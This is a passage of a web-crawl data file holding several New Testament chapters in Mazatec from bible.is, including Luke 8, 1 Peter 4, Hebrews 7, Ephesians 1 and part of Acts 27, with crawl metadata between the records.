ts'e̱ xi̱ta̱ ítjòn xi inchrobà‑ne ni'ya‑la̱ nga kitsò: ―Ndí tsòti‑lè jyeé k'en; kì ti̱ kiì nìjti‑la̱ Maestro. 50K'e̱ nga kiì'nchré Jesús kitsò‑la̱: ―Kì tsakjoòn‑jèn; tà jè‑né nga kàtakjeiín‑lè, jè ndí tsòti‑lè ko̱ndaá‑ne. 51K'e̱ nga jahas'en ni'ya, Jesús, mìkiì kitsjaà'nde‑la̱ xi̱ta̱ xi kj'ei̱í nga jahas'en‑ko̱, tà jè Pedro, Jacobo, Juan, ko̱ na̱'èn‑la̱ ko̱ nea̱‑la̱ ndí tsòti. 52Ngats'iì xi̱ta̱ xi títsa̱jna, nchikjindáya‑né koa̱ nchisíkájno‑né xi i̱t'aà ts'e̱ ndí tsòti. Ta̱nga jè Jesús kitsò‑la̱: ―Kì chìhindáya‑jèn; mìtsà kòbiyaà ndí tsòti, tà kjinafè‑né. 53Jñà xi̱ta̱ xi títsa̱jna tà tsijnòkeè Jesús nga tíjiìn‑la̱ nga jyeé k'en. 54Ta̱nga Jesús kiskoé tsja ndí tsòti; 'ñó kiìchja̱‑la̱ kitsò‑la̱: ―Tsòti, ¡ti̱sítji̱in! 55J'iì ìjngoò k'a‑ne ini̱ma̱‑la̱; i̱kjoàn ni̱to̱ón tsasítje̱n; Jesús kitsjaà o̱kixi̱ nga tsjá‑la̱ xi ski̱ne̱. 56Jñà xi̱ta̱ jchínga‑la̱, tà kjòxkón‑la̱; ta̱nga jè Jesús kitsò‑la̱: ―Kì yá xi̱ta̱ xi bèno̱jmí‑la̱ jè kjoa̱ xi kòma.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/8","date":"2017-08-20T10:08:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886106367.1\/warc\/CC-MAIN-20170820092918-20170820112918-00662.warc.gz","language":"maa","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000079870224}","num_words":1371,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Cristo, koni s'ín kisìkjeiín kjo̱'in yijo‑la̱, jñò, ti̱koa̱á mochjeén‑né nga ki̱tsa̱jnandaà nga si̱kjioón kjo̱'in. Nga̱ jè xi jye kisìkjeiín kjo̱'in, ya̱á jyehet'aà jé‑la̱, 2mé‑ne jñà na̱chrjein xi kíjna ìsa̱ i̱sò'nde, k'oa̱á s'ín kàtìjna koni s'ín mejèn‑la̱ Nainá, mìtsà k'oa̱s'ín kíjna koni s'ín mejèn‑la̱ yijo‑la̱. 3Jyeé 'ñó kjìn na̱chrjein kinìkato nga ch'o ki'nè koni s'ín xi̱ta̱ xi mìkiì beèxkon Nainá. K'oa̱á s'ín kinìko̱ò yijo‑nò kjoa̱ xi ch'o tjín koni kjoa̱ chijngui, kjoa̱ ch'o xi síjé yijo‑nò, ko̱ kjoa̱ ch'i̱, kjoa̱ ts'e̱ s'eí xi ch'o tjín, ko̱ nga ta xán ki'yò kjit'aà, ko̱ nga xkósòn kiyaxkón nga mìtsà kixi̱ kjoa̱ nga Nainá. 4I̱'ndei̱ jñà xi̱ta̱ koi, ta maxkón‑la̱ i̱t'aà tsa̱jòn nga mì ti̱ kiì ya̱ tsjahijtako̱‑nò kjoa̱ xi ch'o tjín; bijnòkeè‑nò; ch'oó chja̱jno‑nò. 5Ta̱nga jñà xi̱ta̱ koi, tjínè‑la̱ nga tsjá‑la̱ kinda̱ Nainá; jè Nainá xi tíjnandaà nga koi̱ìndaàjiìn‑la̱ xi̱ta̱ xi títsa̱jnakon ko̱ xi jye k'en. 6Koií kjoa̱‑la̱ nga k'oa̱ ti̱s'ín kis'eno̱jmí‑la̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo jñà xi̱ta̱ xi jye k'en, mé‑ne na̱s'ín jñà yijo‑la̱ kisìkjeiín kjo̱'in koni s'ín bìndaàjiìn xi̱ta̱ i̱sò'nde, ta̱nga jñà ini̱ma̱‑la̱ títsa̱jnakon‑né ni̱ta̱ kjé‑ne koni s'ín tíjnakon kjit'aà Nainá. 7Jyeé tímachrañà nga kjoe̱het'aà i̱sò'nde, koií kjoa̱‑la̱ jñò, ndaà titsa̱jnako̱o kjo̱hítsjeèn‑nò; kjit'aà na̱chrjein tìtsi'ba‑là Nainá. 8Jè xi tíjna ítjòn, jè‑né nga 'ñó tjòcha t'e̱en xinguio̱o. Tsà tjín‑nò kjoa̱tjòcha, ko̱maá si̱jchàat'aà‑là jé‑la̱ xinguio̱o. 9Chjoétjò xi̱ta̱ xinguio̱o k'e̱ nga bijchókon‑nò tsà mejèn‑la̱ nga si̱ìkjáya ya̱ ni'ya‑nò. Tsja t'è‑là ini̱ma̱‑nò; kì ch'o chibàya‑nò. 10Nga jngoò ìjngoò, koni s'ín tjín kjo̱ndaà xi kitsjaà‑nò Nainá, k'oa̱s'ín ti̱si̱ko̱ò xinguio̱o nga ndaà ti̱chjeén, nga kjìn sko̱ya tjín‑ne kjo̱ndaà xi kitjoé‑nò. 11Jè xi̱ta̱ xi k'oa̱s'ín kits'iì‑la̱ nga 'én‑la̱ Nainá ki̱chja̱ya, k'oa̱á s'ín kàtìchja̱ya koni tsò 'én‑la̱ Nainá. Ko̱ jè xi̱ta̱ xi k'oa̱s'ín kits'iì‑la̱ nga si̱ìxá, k'oa̱á s'ín kàtasíxá koni tjín nga'ñó xi tsjá‑la̱ Nainá. Ni̱ta̱ mé xi s'e̱en, k'oa̱á s'ín t'e̱en mé‑ne nga i̱t'aà ts'e̱ Jesucristo jeya kíjna‑ne Nainá. Nga ts'e̱é Cristo jè kjoa̱jeya ko̱ ngats'iì nga'ñó xi tjín skanda ni̱ta̱ kjé‑ne. K'oa̱s'ín kàtama. 12Jñò ndí 'ndsè xi matsjake̱‑nò, kì maxkón‑nò nga 'ñó 'in tjín kjoa̱ xi nchrobánè‑nò nga tíchìt'aà‑nò. 13Ta̱ sa̱á kàtas'e‑nò kjo̱tsja nga tíhoko̱ chiba‑nò kjo̱'in ts'e̱ Cristo, mé‑ne nga ti̱koa̱ s'e̱‑nò kjo̱tsja k'e̱ nga jcha̱‑la̱ kjoa̱jeya‑la̱ Cristo. 14Jñò, mé ta ndaà‑nò k'e̱ nga tsà xi̱ta̱ ko̱tít'aà‑nò xi kjoa̱ ts'e̱ Cristo nga jè kjoa̱jeya‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá ya̱á tíjnako̱‑nò. 15Tsà kjo̱'in titsa̱nìkjioón, chítsejèn‑là yijo‑nò, a koií kjoa̱‑la̱ nga ch'o 'nè, nga xi̱ta̱ nìk'eèn, nga chijé 'nè, nga chingájiìn chingá'a kjoa̱. Kì k'oa̱á tjín jé xi binchaàtsjioò. 16Ta̱nga tsà kjo̱'in titsa̱nìkjioón nga xi̱ta̱‑la̱ Cristo maá, kì masobà‑nò; ta sa̱á jeya ti̱kíjna Nainá nga xi̱ta̱‑la̱ tsò‑nò. 17Jyeé ijchò na̱chrjein nga ko̱ts'ia̱ nga si̱ndaàjiìn‑la̱ xi̱ta̱ na̱xa̱ndá‑la̱ Nainá. Tsà jñá tímats'ia̱ ítjòn ko̱‑ná, ¿mé xi ko̱mat'in jñà xi̱ta̱ xi mìkiì síkitasòn 'én ndaà‑la̱ Nainá? 18Jè xi xi̱ta̱ kixi̱, chjá ko̱ma‑la̱ nga ki̱tjokàjiìn kjo̱'in. ¿Kós'ín ko̱mat'in jñà xi̱ta̱ xi mìkiì beèxkón Nainá ko̱ xi jé ótsji? 19K'oa̱á ma‑ne, jñà xi̱ta̱ xi kjo̱'in síkjeiín nga ko̱s'ín mejèn‑la̱ Nainá, kì bíkjoàn‑la̱ nga ndaà s'ín. Jè Nainá kàta'ñót'aà takòn nga jè kàtasíkinda̱, nga jè tsibíndaà jñà xi̱ta̱ ko̱ jè síkitasòn‑né koni s'ín tsjá tso'ba.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/1Pet\/4","date":"2017-08-20T15:58:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886106779.68\/warc\/CC-MAIN-20170820150632-20170820170632-00573.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":505,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.341,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Melquisedec xi̱ta̱xá ítjòn tsikijna 'tse̱ na̱xi̱ndá Salem, ti̱'koa̱á na̱'mì ítjòn 'tse̱ Nainá ra tíjna ngajmi tsikijna‑te. Kiìkjá indiaá jè Abraham 'kia̱ nga tínchrabá‑ni nga ijye isikijne ijye‑la̱ xi̱ta̱xá ítjòn ra iskajàn‑ko̱, ko̱ jè Melquisedec ya̱á isìchikon'tin jè Abraham. 2Jè Abraham, teya ki'sìn nga'tsì tsajmì ra isakò‑la̱ 'kia̱ nga kijì kjo̱jchán ko̱ jngo‑yá kitsjà‑la̱ jè Melquisedec tsajmì kìi̱. 'Í ra 'mì Melquisedec, 'koa̱á tsò‑ni: Xi̱ta̱xá Ítjòn ra Kixi̱ Tíjna; ko̱ nga jè ra xi̱ta̱xá ítjòn 'tse̱ Salem 'mì, Xi̱ta̱xá ra Tjín‑la̱ Kjo̱'nchán, tsò‑ni. 3Jè Melquisedec mì kì 'ya‑la̱ tje̱‑la̱, yá‑ni na̱'ìn‑la̱ ko̱ yá‑ni na̱‑la̱, ñánda̱ kitsin ko̱ ñánda̱ 'ken; 'koa̱á 'sín mangásòn‑ko̱ koni jè Cristo ra I'ndí‑la̱ Nainá, nga ti̱'koa̱á na̱'mì ítjòn tíjna skanda ta mé ni̱chjin‑nioo̱. 4Jiòn ti̱kítsjen nga 'ñó 'nga tsikijna jè Melquisedec nga skanda jè xi̱ta̱ jchínga‑ná Abraham teya ki'sìn nga'tsì tsajmì ra isakò‑la̱ 'kia̱ nga kiì kjo̱jchán nga jngo‑yá kitsjà‑la̱ jè Melquisedec. 5Kixi̱í kjoa̱, 'koa̱á 'sín tíchja̱ kjo̱téxoma‑la̱ Moisés ra Nainá kitsjà‑la̱; nga jñà xi̱ta̱ na̱xi̱ndá tjínè‑la̱ nga teya si̱ìjòya tsajmì ra tjín‑la̱ nga jngoya tsjá‑la̱ jñà na̱'mì ra tje̱‑la̱ Leví ni̱'sín ti̱ xi̱ta̱ xákjén‑ni jñà ra ti̱ya̱ nchrabá‑ni tje̱‑la̱ Abraham. 6Tanga jè Melquisedec mì tsa tje̱‑la̱ Leví‑jìn, tanga itjábé‑la̱ ra jngoya bako̱‑la̱ tsajmì ra teya ki'sìn jè Abraham, a̱kjòn 'kia̱á isìchikon'tin; ni̱'sín jè kjòn‑ni Abraham ra ko̱'sín itjábé‑la̱ 'én a̱'ta 'tse̱ Nainá 'kia̱ nga kitsjà‑la̱ tsa'ba. 7Koni 'sín tjíjin‑ná nga'tsì‑ná, jè ra síchikon'tin, isa̱á 'nga tíjna mì 'koa̱‑ni koni jè ra machikon'tin. 8Jñà na̱'mì ra tjábé‑la̱ ra jngoya bako̱‑la̱ ra teya 'sín xi̱ta̱ na̱xi̱ndá, mì tsa ta kíhijyo ki'ta‑jìn, tanga jè Melquisedec, 'koa̱á 'sín tjí'ta xa̱jo̱n‑la̱ Nainá nga 'koa̱á 'sín 'ya‑la̱ koni tsa jngo xi̱ta̱ ra takó tíjnakon. 9Jñà na̱'mì ra nchrabá‑ni tje̱‑la̱ Leví ra tjábé‑la̱ ra jngoyá bako̱‑la̱ ra teya 'sín xi̱ta̱ na̱xi̱ndá, ko̱maá ko̱kixé nga ti̱'koa̱á jè Melquisedec kitjábé jngoya‑la̱ a̱'ta 'tse̱ xi̱ta̱ kìi̱ 'kia̱ nga ko̱'sín jngoyá kitsjà‑la̱ Abraham. 10Nga̱ jè Abraham, ijyeé ya̱á 'ya tje̱‑ni ra kjomà Leví, 'kia̱ nga ko̱'sín iskajin Abraham jè Melquisedec. 11Jñà kjo̱téxoma ra itjábé‑la̱ jñà xi̱ta̱ Israel ya̱á inchrabà'ta‑ni a̱'ta 'tse̱ na̱'mì ra tje̱‑la̱ Leví; tanga jñà na̱'mì kìi̱, mì kì kjomà‑la̱ nga ngi kixi̱ isíkítsa̱jna jñà xi̱ta̱, 'koa̱á 'sín kjomà‑ni nga kj'ií na̱'mì 'ji jngo‑isa ra ya̱ mangásòn‑ko̱ Melquisedec ko̱ mì tsa jè mangásòn‑ko̱ na̱'mì ra tje̱‑la̱ Aarón. 12'Kia̱ nga xìn chja̱‑ni na̱'mì ra 'faha'sen 'kia̱ nga fahatjìya, kjo̱'ñó tjín‑ni nga fahatjìya jè kjo̱téxoma. 13Koni 'sín tíchja̱ 'én‑la̱ Nainá, jè ra itjábé‑la̱ xá koni 'tse̱ Melquisedec, kj'ií tje̱‑ní; ni̱ kjè sa jngo na̱'mì bitjokàjin ya̱ ñánda̱ nga inchrabà'ta‑ni. 14'Koa̱á 'sín nda 'ya‑la̱ nga jè Na̱'ín‑ná Jesucristo, ya̱á inchrabà'ta‑ni tje̱‑la̱ 'tse̱ na̱xi̱ndá Judá; ya̱ tje̱‑la̱ na̱xi̱ndá ra̱kìi̱, mì kì tsijen isìkàxki̱ jè Moisés 'kia̱ nga kiìchja̱ ra a̱'ta 'tse̱ jñà na̱'mì. 15Nga'tsì kjoa̱ kìi̱, isa̱á makixi̱ya‑ná 'kia̱ nga jè na̱'mì xi̱tse̱ ra 'faha'sen, 'koa̱á 'sín 'sín koni ki'sìn jè Melquisedec, 16nga mì tsa a̱'ta 'tse̱ kjo̱téxoma inchrabà‑ni nga ko̱'sín na̱'mì kjomà; tà jé‑ní nga tse nga'ñó tjín‑la̱ ko̱ mì yá ra ko̱ma‑la̱ si̱ì'ken. 17Nga̱ 'koa̱á 'sín tíchja̱ Nainá ra a̱'ta 'tse̱, nga tsò: Ji̱í‑ní ra na̱'mì tijni skanda ta mé ni̱chjin‑nioo̱, ya̱á mangásòn‑ki̱ jè Melquisedec. 18'Koa̱á 'sín kjomà‑ni nga iskajen‑ngi jè kjo̱téxoma jchínga, ta nga̱tjì‑la̱ nga̱ mì kì ki'se‑la̱ nga'ñó, ko̱ mì kì itjasòn‑la̱ koni 'sín nga tjínè‑la̱ nga si̱hitjasòn. 19Nga̱ jè kjo̱téxoma jchínga ra kitsjà jè Moisés ni̱mé ra isìkixi̱ya xi̱ta̱; tanga ni̱chjin 'ndi̱ 'ndi̱, tjín jngo‑ná kjoa̱ ra i̱nchichiñá‑lá ra isa̱ nda tjín jè ra síchraña'tà‑ná Nainá. 20Jñà kjoa̱ kìi̱, mì tsa ko̱'sín mì kì kitsjà tsa'ba Nainá; koni jñà na̱'mì ra i'ka, ra ta 'koa̱á 'sín itjábé‑la̱ xá, mì tsa yá ra kitsjà 'én‑la̱. 21Tanga ra a̱'ta 'tse̱ Na̱'ín‑ná Jesús kitsjá tsa'ba Nainá jè 'én ra 'ñó xkón tjín 'kia̱ nga kitsò: Na̱'ín‑ná, 'koa̱á 'sín ijye kitsjà kixi̱ 'én‑la̱ ra 'ñó xkón tjín, ko̱ mì kì ti̱ si̱ìkaatjìya‑ila̱ jè kjo̱bítsjen‑la̱ 'kia̱ nga kitsò: \"Ji̱í‑ní ra na̱'mì tijni ta mé ni̱chjin‑nioo̱.\" 22'Koa̱á 'sín ma‑ni nga jè Jesús basèn‑tjì‑ná 'kia̱ nga jè Nainá tsikíndajínko̱ jñà xi̱ta̱ jngo kjoa̱ ra isa̱ 'ñó nda tjín. 23Jñà na̱'mì ra tje̱‑la̱ Leví, 'ñó kjín ma‑ni, ta nga̱tjì‑la̱ 'kia̱ nga jngo biya, ta ya̱á fehe'ta xá‑la̱, ìjngo na̱'mì xákjín 'faha'sen ngajo‑la̱ 'kia̱ nga biya. 24Tanga jè Jesús tíjna‑ní skanda ta mé ni̱chjin‑nioo̱ ko̱ mì tsa kjoa̱atjìya jè xá‑la̱ nga na̱'mì tíjna. 25'Koa̱á 'sín ma‑ni nga ma‑la̱ bachrjekàjin kjo̱hi'in jñà xi̱ta̱ ni̱ta mé ni̱chjin‑nioo̱, nga'tsì ra a̱'ta 'tse̱ Jesús bijchó‑ni ya̱ ngixko̱n Nainá; ko̱ jè Jesús tíjnakon‑ní ni̱ta kjiá‑nioo̱ mé‑ni nga ma bítsa'batjì‑ni jñà xi̱ta̱. 26Ngi jé kjón‑ní Jesús jè na̱'mì ítjòn ra machjeén‑ná: nga̱ xi̱ta̱ tsje‑ní; ko̱ mì tsa jé tjín‑la̱; ko̱ mì tsa tjé 'ki ya̱ a̱jin inìma̱‑la̱; xìn tíjna‑la̱ jñà xi̱ta̱ ra jé tjín‑la̱; ko̱ jè‑ní ra isa̱ 'nga tíjna ya̱ ján ngajmi. 27Mì tsa ko̱'sín 'sín koni 'sín jñà na̱'mì ra i'ka nga ni̱chjin nchijón‑ní sí'ken cho̱ ra tsjá kjo̱tjò ra kjoa̱ 'tse̱ jé‑la̱, a̱kjòn tsjá‑te ra a̱'ta 'tse̱ jé‑la̱ xi̱ta̱ na̱xi̱ndá. Tanga Jesús, 'kia̱ nga kitsjà kjo̱tjò ijo‑la̱ nga kinì'ken, ta india kjón‑ní kitsjà skanda ta kjiá‑nioo̱. 28Jè kjo̱téxoma ra kitsjà Moisés, 'koa̱á 'sín tíchja̱ nga jñà kítsa̱jna na̱'mì ítjòn xi̱ta̱ ra tsìn‑la̱ nga'ñó; tanga jè 'én ra xkón tjín ra a̱skan kitsjà Nainá, 'koa̱á 'sín tíchja̱ nga jè I'ndí‑la̱, na̱'mì ítjòn kíjna, jè ra ko̱'sín kisìko̱ nga nìmé kichija'ta‑la̱ skanda ta kjiá‑nioo̱.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASAV\/Heb\/7","date":"2017-08-21T09:22:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886107744.5\/warc\/CC-MAIN-20170821080132-20170821100132-00044.warc.gz","language":"maa","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000097751617432}","num_words":868,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñò xi xi̱ta̱‑la̱ Nainá 'mì‑nò xi titsa̱jnaà na̱xa̱ndá Éfeso, jñò, xi kixi̱ onguít'aà‑la Cristo Jesús, 'a̱n xi 'mì‑na Pablo tisìhixat'aà‑nò nga 'a̱n tsibíxáya‑na Jesucristo nga k'oa̱s'ín kjòmejèn‑la̱ Nainá. 2Nainá xi Na̱'èn‑ná, ko̱ jè Jesucristo xi otíxoma‑ná kàtatsjá‑nò kjo̱ndaà ko̱ kjoa̱'nchán ya̱ i̱jiìn ini̱ma̱‑nò. 3Jeya kàtìjna Nainá, Na̱'èn‑la̱ Jesucristo xi otíxoma‑ná nga kisìchikon‑t'in‑ná, kitsjaà‑ná ngats'iì kjo̱ndaà xi ts'e̱ ini̱ma̱‑ná xi ngajmiì nchrobá‑ne koi kjoa̱‑la̱ nga Cristo titsa̱jnakoa̱á. 4Nainá xó k'oa̱á s'ín jaàjiìn‑ná k'e̱ nga ti̱kj'eè sindaà i̱sò'nde nga Cristo titsa̱jnakoa̱á mé‑ne nga ni̱mé jé s'e̱‑ná ko̱ tsjeè ki̱tsa̱jnaá nguixko̱n jè. 5Koi‑né nga matsjakeè‑ná nga k'oa̱s'ín kiskoòsòn‑la̱ nga ti̱sa̱‑ne nga kiskoétjò‑ná koni i̱xti jcha̱n‑la̱ maá xi i̱t'aà ts'e̱ Jesucristo. Nainá k'oa̱á s'ín kis'iìn koni s'ín kisaseèn‑la̱ ta koi kjoa̱‑la̱ nga k'oa̱s'ín kjòmejèn‑la̱. 6Koií kjoa̱‑la̱ nga jeya bìjna Nainá nga tse kjo̱ndaà kitsjaà‑ná nga kisìchikon‑t'in‑ná nga ya̱ titsa̱jnakoa̱á ki'ndí‑la̱ xi 'ñó matsjakeè. 7- 8Jè jní‑la̱ Jesucristo tsibíchjítjì‑ná koa̱ kisìjchàat'aà‑ná jé‑ná nga Cristo titsa̱jnakoa̱á, nga 'ñó tse kjo̱ndaà tjín‑la̱ Nainá nga tsjá‑ná kjo̱hítsjeèn ko̱ kjoa̱chji̱ne̱ xi tjín‑la̱. 9K'oa̱á ma‑ne nga ti̱koa̱ tsakó‑ná jè kjoa̱tjí'ma‑la̱ koni s'ín kjòmejèn‑la̱ jè, ti̱koií‑ne kjo̱hítsjeèn‑la̱ xi ti̱jè‑ne kiskoòsòn‑la̱ nga ki̱tasòn. 10Koni s'ín tjíndaà‑la̱ kjo̱hítsjeèn jè, ki̱jchò na̱chrjein nga ki̱tasòn tsjeè. Nainá, jé si̱ìjngoò yije ni̱ta̱ mé xi tjín ngajmiì ko̱ i̱t'aà nangui nga jè Cristo ko̱tìxoma. 11Nainá jyeé kjòtseé jaàjiìn‑naje̱n nga Cristo titsa̱jnako̱‑je̱n. Kitjoé‑naje̱n kjo̱tjò xi tsjá Nainá koni s'ín tjíndaà‑la̱ nga k'oa̱s'ín bitasòn 'én‑la̱ koni s'ín ndaà sasén‑la̱. 12K'oa̱á s'ín kis'iìn nga ngaje̱n kinìkítsa̱jna ítjòn‑je̱n nga jeya tíjna Nainá, ngaje̱n xi xi̱ta̱ judío 'mì‑naje̱n, ngaje̱én kòkjeiín ítjòn‑naje̱n i̱t'aà ts'e̱ Cristo. 13Ti̱koa̱á jñò nga ya̱ titsa̱jnako̱o Cristo, k'e̱ nga kina'yà 'én ndaà‑la̱ Nainá xi kjoa̱ kixi̱, jè xi tsachrjekàjiìn‑nò kjo̱'in nga kòkjeiín‑nò i̱t'aà ts'e̱ Cristo, Nainá kitsjaà‑nò Ini̱ma̱ Tsjeè‑la̱; ya̱á tsibít'aà chi̱ba̱‑la̱ i̱jiìn ini̱ma̱‑nò, koni s'ín jye kitsjaà tso'ba nga tsjá‑nò. 14Jè Ini̱ma̱ Tsjeè‑la̱ Nainá, jè‑né xi tjoé ítjòn‑ná nga kixi̱ kjoa̱ nga tjoé yije‑ná kjo̱tjò xi Nainá tsjá‑ná jè na̱chrjein k'e̱ nga ko̱ngásòn nga si̱ìkítsa̱jnandei̱í‑ná xi na̱xa̱ndá‑la̱ maá mé‑ne nga jeya kíjna‑ne Nainá. 15Koií kjoa̱‑la̱ k'e̱ nga ki'nchrè nga mokjeiín‑nò i̱t'aà ts'e̱ Jesucristo xi otíxoma‑ná, ko̱ nga matsjacha ngats'iì xi̱ta̱‑la̱ Nainá; 16mìkiì sìjchàajñaà nga na̱chrjein inchijòn tsjaà‑la̱ kjo̱ndaà Nainá xi i̱t'aà tsa̱jòn; k'e̱ nga bítsi'ba‑la̱, síjét'aà‑la̱ xi kjo̱ndaà tsa̱jòn 17mé‑nè nga jè Na̱'èn‑ná xi jeya tíjna, jè xi Nainá tsò‑la̱ Jesucristo xi otíxoma‑ná, jè kàtasíkíhichi̱ya‑nò ko̱ kàtatsjá‑nò kjoa̱chji̱ne̱ xi ts'e̱ ini̱ma̱‑nò mé‑ne nga ìsa̱ ndaà jcha̱xkon‑nò Nainá. 18K'oa̱á s'ín síjét'aà‑la̱ Nainá nga si̱ìhiseèn‑la̱ kjo̱hítsjeèn‑nò mé‑nè nga jcha̱‑nò mé xi chiñà‑là nga xó kinokjoàa‑nò. Ti̱koa̱á jcha̱a nga 'ñó ndaà tjín ko̱ 'ñó jeya tjín kjo̱tjò xi Nainá tsjá‑la̱ jñà xi̱ta̱ na̱xa̱ndá‑la̱. 19Ti̱koa̱á síjét'aà‑la̱ nga jcha̱xkon kó kji 'ñó tse nga'ñó tjín‑la̱ Nainá nga ko̱ma ko̱si̱ko̱‑ná jñá xi mokjeiín‑ná i̱t'aà ts'e̱. Ti̱koií‑ne nga'ñó xi 'ñó tse tjín‑la̱ Nainá 20xi kisìkjeén nga kisìkjaáya‑la̱ Cristo k'e̱ nga k'en, i̱kjoàn jeya kisìkíjnat'aà chrja kixi̱‑la̱ ján ngajmiì 21ñánda nga ìsa̱ ta 'ñó 'nga kisìkíjna ítjòn mì k'oa̱á‑ne tsà jngoò xi̱ta̱ ítjòn, xi̱ta̱xá ítjòn, ngats'iì nga'ñó xi tjín i̱ i̱t'aà nangui ko̱ xi tjín i̱jiìn i̱sén, ngats'iì xi tjín‑la̱ kjo̱tíxoma ngajmiì; tíjna ítjòn‑la̱ ngats'iì xi tjín i̱sò'nde jè, ko̱ jè i̱sò'nde xi sa̱ nchrobá. 22Nainá, jè kisìnga̱tsja yije Cristo, ngats'iì kjo̱tíxoma xi tjín; ti̱koa̱á jè kitsjaà yije‑la̱ Cristo nga jè ko̱ma xi sko̱‑la̱ na̱xa̱ndá‑la̱. 23Na̱xa̱ndá‑la̱ ti̱jè‑ne yijo‑la̱ Cristo; ko̱ jè tsjá yije‑la̱ ni̱ta̱ mé xi chija‑la̱. Ti̱jè‑ne Cristo xi síjngoò yije, ni̱ta̱ mé xi tjín i̱sò'nde.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/Eph\/1","date":"2017-08-17T00:15:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886102757.45\/warc\/CC-MAIN-20170816231829-20170817011829-00693.warc.gz","language":"maa","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"maa_Latn_score\": 1.0000075101852417}","num_words":552,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.324,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga jye k'oa̱s'ín kiskoòsòn‑la̱ nga ján si̱ìkasén‑naje̱n Italia, jè Pablo ko̱ xi̱ta̱ xi i'nga xi nda̱yá títsa̱jna, jè kjònga̱tsja xi̱ta̱ sko̱‑la̱ soldado xi 'mì Julio xi ya̱ chja̱ jngoò jtín‑ne soldado xi ts'e̱ César. 2Tsitjaàs'en‑je̱n jngoò chitso xi ts'e̱ Adramitio xi jye mejèn tíbitjo nga ya̱ tífì jñà na̱xa̱ndá i̱ndiì ndáchikon ts'e̱ nangui Asia. Ti̱koa̱á ya̱á tíjnako̱‑naje̱n Aristarco xi ya̱ i̱'nde‑la̱ Tesalónica, na̱xa̱ndá xi chja̱‑ne nangui Macedonia. 3Nga komà inchijòn, ijchò‑je̱n Sidón. Jè Julio ndaà kijtseè ikon Pablo; kitsjaà'nde‑la̱ nga kiìkon amigo‑la̱ mé‑ne nga si̱ìs'in‑la̱. 4K'e̱ nga itjo‑naje̱n Sidón, k'oa̱á s'ín tsanguì‑je̱n xijngoaà nangui jiìn‑ndá Chipre, nga jè tjo̱, kondra̱ tsa̱je̱én tí'ba. 5Tsitjaàjto‑je̱n i̱jiìn ndáchikon i̱'nde ts'e̱ Cilicia ko̱ Panfilia; ijchò‑je̱n Mira, na̱xa̱ndá xi chja̱‑ne nangui Licia. 6Jè xi̱ta̱ sko̱‑la̱ soldado kisakò jngoò‑la̱ chitso xi na̱xa̱ndá Alejandría ts'e̱; ya̱á kisìkas'en‑naje̱n nga ján tífì Italia. 7Kjìn na̱chrjein tsitjaàjiìn‑je̱n ndáchikon nga ta̱fì ta̱fì tsanguì‑je̱n; chjá ijchò‑naje̱n ya̱ kixi̱‑la̱ Gnido. Jè tjo̱ mìkiì tsjá'nde‑naje̱n nga onguí kixi̱‑je̱n; tsitjaáhi̱ndiì‑la̱‑je̱n nangui Creta ya̱ kixi̱‑la̱ na̱xa̱ndá Salmón. 8Tseé kjo̱'in ki'nè‑je̱n nga tsitjaàjiìn‑ndá‑je̱n kóho̱kji i̱ndiì ndáchikon ts'e̱ Creta. Chjá ijchò‑naje̱n i̱'nde ñánda 'mì Buenos Puertos ya̱ chrañàt'aà‑la̱ na̱xa̱ndá Lasea. 9Jyeé kjìn na̱chrjein tsato; jyeé 'ñó kjo̱xkón tjín‑la̱ i̱jiìn ndáchikon, nga jyeé nchrobá machrañà na̱chrjein cho̱ 'nchán [k'e̱ nga 'ñó 'ba tjo̱]. K'oa̱á ma‑ne jè Pablo kitsò‑la̱ jñà xi̱ta̱: 10―'A̱n, k'oa̱á s'ín machi̱ya‑na, ndi̱yá jè, 'ñó tse kjo̱xkón tjín‑la̱; jchi̱jaá‑la jè chitso ko̱ ch'á xi 'ya, skanda jñá, mejèn tsà si̱chijaá yijo‑ná. 11Jè xi̱ta̱ sko̱‑la̱ soldado, ìsa̱á ndaà kiì'nchréñijon‑la̱ jè nei‑la̱ chitso ko̱ jè xi̱ta̱ sko̱‑la̱ xi tísíxáko̱ chitso mì k'oa̱á‑ne koni kitsò Pablo. 12Ya̱ i̱'nde jè, mìkiì ndaà choòn nga ya̱ sasíjna chitso na̱chrjein ch'o 'nchán. Xi̱ta̱ xi ya̱ títsa̱jnaya chitso, kjìn ma xi ngásòn kitsò nga 